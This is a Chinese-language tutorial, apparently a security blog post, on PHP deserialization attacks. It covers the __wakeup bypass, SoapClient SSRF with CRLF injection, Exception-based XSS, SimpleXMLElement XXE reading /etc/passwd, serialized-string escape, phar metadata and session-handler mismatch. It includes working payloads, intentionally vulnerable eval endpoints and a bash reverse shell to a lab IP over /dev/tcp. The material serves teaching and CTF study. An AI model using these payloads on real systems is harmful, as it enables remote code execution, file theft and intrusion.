PHP反序列化基础php中使用serialize()函数和unserialize()函数对变量进行序列化与反序列化。unserialize()函数在反序列化过程中发生了错误会返回false。
1
2
3
4
5
6
7
<? php
class persion {
public $name = "eastjun" ;
public $age = 19 ;
public $isAdmin = true ;
}
echo serialize ( new persion ());
执行上面的代码将会输出O:7:"persion":3:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}
利用反序列化进行攻击需要找到php中的魔术方法,魔术方法在满足一定条件时会自动调用,常见魔术方法如下:
1
2
3
4
5
6
7
8
9
10
11
12
__construct() //构造函数,创建对象时调用
__destruct() //析构函数,对象被销毁时调用
__call() //在对象中调用一个不可访问方法时
__callStatic() //在静态上下文中调用一个不可访问方法时
__get() //读取不可访问属性的值时
__set() //在给不可访问属性赋值时
__iset() //当对不可访问属性调用 isset() 或 empty() 时
__unset() //当对不可访问属性调用 unset() 时
__sleep() //序列化对象前调用
__wakeup() //反序列化恢复对象前调用
__toString() //对象被当成字符串使用时
__invoke() //尝试以调用函数的方式调用一个对象时
__wakeup函数绕过(CVE-2016-7124)在PHP5 < 5.6.25、PHP7 < 7.0.10的版本中,当成员属性数目大于实际数目时可绕过__wakeup
方法,例如O:7:"persion":4:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}
在上述版本的PHP进行反序列化时不会执行__wakeup()方法。
public、private、protected反序列化序列化时如果对象的属性被(public、private、protected)修饰时,属性的名称不同,private和protected类型的属性在序列化时会出现不可见字符%00
public:序列化时属性名不变 private:序列化时属性名为%00*%00属性名 protected:序列化时属性名为%00类名%00属性名 原生类利用 SoapClientphp中存在内置原生类SoapClient(需要php安装soap扩展),利用SoapClient类可以进行SSRF,我的环境是在docker中的,需要先安装Soap模块然后重启apache2:
1
apt install -y libxml++2 && docker-php-ext-install soap
php在调用某个对象不存在的函数时会调用该对象的__call方法,调用SoapClient类的__call方法时可以进行SSRF攻击
SSRF测试代码:
1
2
3
4
5
6
<? php
$a = new SoapClient ( null , array ( 'uri' => 'aaaa' , 'location' => 'http://172.20.249.108:7777/eastjun' ));
$b = serialize ( $a );
echo urlencode ( $b );
$c = unserialize ( $b );
$c -> notexist ();
执行结果如下:
还可以通过CRLF注入进行更深入的利用:
1
2
3
4
5
6
7
<? php
$poc = "Cookie: PHPSESSID=123456" ;
$a = new SoapClient ( null , array ( 'uri' => "aaaa \r\n " . $poc . " \r\n " , 'location' => 'http://172.20.249.108:7777/eastjun' ));
$b = serialize ( $a );
echo urlencode ( $b );
$c = unserialize ( $b );
$c -> notexist ();
执行结果:
在SoapClient构造方法的PHP文档中可以找到:
The user_agent
option specifies string to use in User-Agent
header.
在SoapClient的第二个参数中可以自定义SoapClient的UA,于是可以通过在UA处进行CRLF注入将Content-Type
挤下达到攻击内网WEB服务的目的,因为有Content-Length,服务器会忽略shell=xxx后面的部分
例如写下这样一段代码放在docker环境中:
1
2
3
4
5
6
7
8
9
10
<? php
if ( $_SERVER [ "REMOTE_ADDR" ] === "127.0.0.1" ){
eval ( $_POST [ 'shell' ]);
}
else {
echo "not localhost" ;
}
$a = unserialize ( $_GET [ 'ser' ]);
$a -> notexist ();
?>
直接用浏览器访问是访问不到的,但是有反序列化,可通过SoapClient类构造POST请求进行SSRF
1
2
3
4
5
<? php
$poc = "shell=" . urlencode ( 'system("bash -c \'bash -i >& /dev/tcp/172.20.249.108/7777 0>&1\'");?>' );
$a = new SoapClient ( null , array ( 'uri' => "aaaa" , 'location' => 'http://127.0.0.1/shell.php' , "user_agent" => "Eastrome \r\n Content-Length: " . strlen ( $poc ) . " \r\n Content-Type: application/x-www-form-urlencoded \r\n\r\n " . $poc , "keep_alive" => false ));
$b = serialize ( $a );
echo urlencode ( $b );
反序列化后可以反弹shell
Error/Exception__toString()
方法在对象被当成字符串使用时调用,Exception类没有对错误消息进行过滤,反序列化后输出的内容在网页中可以造成xss。
测试代码如下:
1
2
3
4
<? php
$poc = "<script>alert(1);</script>" ;
$b = serialize ( new Exception ( $poc ));
echo unserialize ( $b );
可以触发xss
SimpleXMLElement反序列化通常无法调用类的__construct
方法,但在某些情况下(例如下面的一段代码)可以进行任意类实例化 ,能够调用__construct
方法,可以进行XXE。
1
2
3
4
5
6
7
8
<? php
if ( class_exists ( $classname ) && isset ( $_GET [ 'name' ]) && isset ( $_GET [ 'param' ]) && isset ( $_GET [ 'param2' ])){
$classname = $_GET [ 'name' ];
$param = $_GET [ 'param' ];
$param2 = $_GET [ 'param2' ];
$a = new $classname ( $param , $param2 );
echo $a ;
}
payload:
1
?name=SimpleXMLElement¶m=<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>%26xxe;</root>¶m2=2
反序列化字符逃逸对用户的输入没有正确过滤,然后进行反序列化,需要序列化的字符串在过滤后有长度的变化,反序列化字符串逃逸有字符串变长和变短两种类型:
变长例如下面的一段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<? php
function filter ( $str ){
return str_replace ( "jan" , "hacker" , $str );
}
class A {
public $user = "jun" ;
public $file = "pic.jpg" ;
public function show (){
echo '<img src="data:image/jpg;base64,' . base64_encode ( file_get_contents ( $this -> file )) . '" alt="" />' ;
}
}
$a = new A ();
if ( isset ( $_GET [ 'user' ])){
$a -> user = $_GET [ 'user' ];
$a = unserialize ( filter ( serialize ( $a )));
}
echo $a -> file ;
$a -> show ();
unserialize函数在得到足够的字符后读取到}
时认为反序列化已经结束,不会读取后面的字符,
如果输入的user参数为janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}
,经过序列化得到的字符串和经过过滤后得到的字符串如下:
1
2
3
4
//序列化字符串:
O:1:"A":2:{s:4:"user";s:66:"janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后:
O:1:"A":2:{s:4:"user";s:66:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
经过反序列化则其中的$file
参数会变为/etc/passwd
,类中的参数变得可控
变短例如这样一段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<? php
function filter ( $str ){
return preg_replace ( "/eastjun|hack/" , "" , $str );
}
class A {
public $user = "jun" ;
public $pass = "123456" ;
public $file = "pic.jpg" ;
public function show (){
echo '<img src="data:image/jpg;base64,' . base64_encode ( file_get_contents ( $this -> file )) . '" alt="" />' ;
}
}
$a = new A ();
if ( isset ( $_GET [ 'user' ]) && isset ( $_GET [ 'pass' ])){
$a -> user = $_GET [ 'user' ];
$a -> pass = $_GET [ 'pass' ];
$a = unserialize ( filter ( serialize ( $a )));
}
echo $a -> file ;
$a -> show ();
变短的反序列化需要两个参数
首先使得pass的值设置为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}
,打印出序列化字符串为O:1:"A":3:{s:4:"user";s:3:"jun";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
,只要使得user的参数被filter函数过滤为空,将后面的";s:4:"pass";s:56:
吃掉就能修改file的值为/etc/passwd
。
所以需要user的值为eastjuneastjunhack
,pass的值为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}
,经过序列化得到的字符串和经过过滤后得到的字符串如下:
1
2
3
4
//序列化字符串:
O:1:"A":3:{s:4:"user";s:18:"eastjuneastjunhack";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后:
O:1:"A":3:{s:4:"user";s:18:"";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
Phar反序列化phar是一种类似jar的打包文件,它的本质是一种特殊的压缩包。
phar由stub/manifest/contents/signature四部分组成:
stub:是phar文件标识,前面的内容不限,以__HALT_COMPILER();
结尾,?>
是可选的 manifest:储存压缩包属性信息,其中以序列化的形式储存了Meta-data contents:压缩文件的内容 signature:储存签名信息 在进行文件操作的时候使用phar协议会触发反序列化,例如file_exists()、fopen()、filesize()、include()
等函数。
受影响的函数如下(来自seebug ):
受影响函数列表 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile
在这里 还有一些其他的可用于phar反序列化的函数
下面的代码可用于测试phar反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
highlight_file ( __FILE__ );
class A {
public $cmd = "" ;
public function __destruct (){
eval ( $this -> cmd );
}
}
if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
echo file_exists ( $file );
}
生成phar文件首先需要将php.ini中的phar.readonly设置为Off或0,phar生成代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
Class A {
public $cmd = "phpinfo();" ;
public function __destruct (){
echo $this -> cmd ;
}
}
$a = new A ();
$p = new Phar ( "eastjun.phar" , 0 );
$p -> startBuffering ();
$p -> setMetadata ( $a );
$p -> setStub ( "GIF89a__HALT_COMPILER();" );
$p -> addFromString ( "test.txt" , "a test text" );
$p -> stopBuffering ();
将生成的phar文件丢到010editor中可以看到序列化的字符串:
将生成的phar文件传到服务器上然后用GET方法传入file=phar://eastjun.phar/test.txt
就能进行反序列化执行phpinfo()
在实际利用的过程中需要有文件上传点、文件操作的函数以及phar://
伪协议
Session反序列化php存在一些默认的session处理器:php、php_binary、php_serialize,三种处理器保存session的格式不同,保存session的时候会经过序列化,读取时进行反序列化:
处理器 存储格式 php 键名+竖线+经过serialize()函数处理后的字符串 php_binary 键名长度对应的ASCII字符+键名+经过serialize()函数处理后的字符串 php_serialize 经过serialize()函数处理后的字符串
三种处理器保存的session如下:
1
2
3
4
5
6
//php处理器
name|s:7:"eastjun";
//php_serialize处理器
a:1:{s:4:"name";s:7:"eastjun";}
//php_binary处理器
names:7:"eastjun";
php的session机制没有问题,但是session使用不当,例如session保存与读取使用的处理器不一致时会出问题。
例如在session.php中写入
1
2
3
4
5
6
7
8
9
<? php
ini_set ( "session.serialize_handler" , "php_serialize" );
session_start ();
$_SESSION [ "name" ] = 'eastjun' ;
if ( isset ( $_GET [ 'name' ])){
$_SESSION [ "name" ] = $_GET [ 'name' ];
}
var_dump ( $_SESSION );
?>
在session_ser.php中写入
1
2
3
4
5
6
7
8
9
10
<? php
//使用默认的php处理器处理session
class A {
public $cmd = "phpinfo();" ;
public function __destruct (){
eval ( $this -> cmd );
}
}
session_start ();
var_dump ( $_SESSION );
使用php_serialize处理器保存session,使用php处理器读取session,传入的name参数为|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
时:
php_serialize处理器保存的session为
a:1:{s:4:"name";s:41:" |O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}
php处理器读取的session为
a:1:{s:4:"name";s:41:" |O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}
然后php处理器会将后面的O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}
字符串进行反序列化
Referer利用 phar 拓展 php 反序列化漏洞攻击面
由 PHPGGC 理解 PHP 反序列化漏洞
phar扩展php反序列化的攻击面
PHP反序列化入门之session反序列化